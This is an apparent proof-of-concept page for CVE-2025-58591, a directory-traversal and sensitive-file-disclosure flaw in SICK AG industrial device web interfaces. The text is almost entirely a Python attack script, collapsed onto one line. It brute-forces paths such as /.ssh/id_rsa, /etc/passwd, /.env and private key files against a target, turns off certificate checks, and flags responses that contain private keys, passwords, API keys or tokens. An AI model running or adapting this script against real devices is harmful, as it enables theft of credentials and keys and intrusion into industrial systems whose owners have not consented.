CVE-2025-58591：SICK工业产品目录遍历与敏感文件泄露漏洞

# CVE-2025-58591 PoC - Directory/File Brute Force for Sensitive Information Disclosure # Target: SICK AG industrial products web interface # Description: This PoC demonstrates how an attacker can brute force directories and files # to read sensitive information like private keys and configuration files. import requests import sys from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://target-sick-device.example.com" WORDLIST_PATHS = [ "/.ssh/id_rsa", "/.ssh/id_rsa.pub", "/private.key", "/server.key", "/config.xml", "/configuration.xml", "/settings.json", "/config.json", "/admin/config", "/etc/passwd", "/.env", "/backup/config.bak", "/keys/private.pem", "/certs/server.crt", "/web.config", "/application.properties", "/database.yml", "/secrets.yml", ] def check_path(path): """Check if a path exists and is accessible on the target server.""" url = f"{TARGET_URL}{path}" try: response = requests.get(url, timeout=5, verify=False, allow_redirects=False) if response.status_code == 200 and len(response.content) > 0: # Check if response contains sensitive content patterns sensitive_patterns = [b"BEGIN RSA", b"BEGIN PRIVATE", b"BEGIN CERTIFICATE", b"password", b"secret", b"api_key", b"token"] for pattern in sensitive_patterns: if pattern in response.content: print(f"[!!! SENSITIVE] {url} - Found: {pattern.decode()}") return (url, response.text) print(f"[+] ACCESSIBLE: {url} (Size: {len(response.content)} bytes)") return (url, response.text) except requests.exceptions.RequestException: pass return None def main(): print(f"[*] Starting directory/file brute force against {TARGET_URL}") print(f"[*] Testing {len(WORDLIST_PATHS)} paths...") results = [] with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(check_path, path): path for path in WORDLIST_PATHS} for future in futures: result = future.result() if result: results.append(result) print(f"\n[*] Scan complete. Found {len(results)} accessible paths.") for url, content in results: print(f"\n{'='*60}") print(f"URL: {url}") print(f"Content preview: {content[:200]}...") if __name__ == "__main__": main()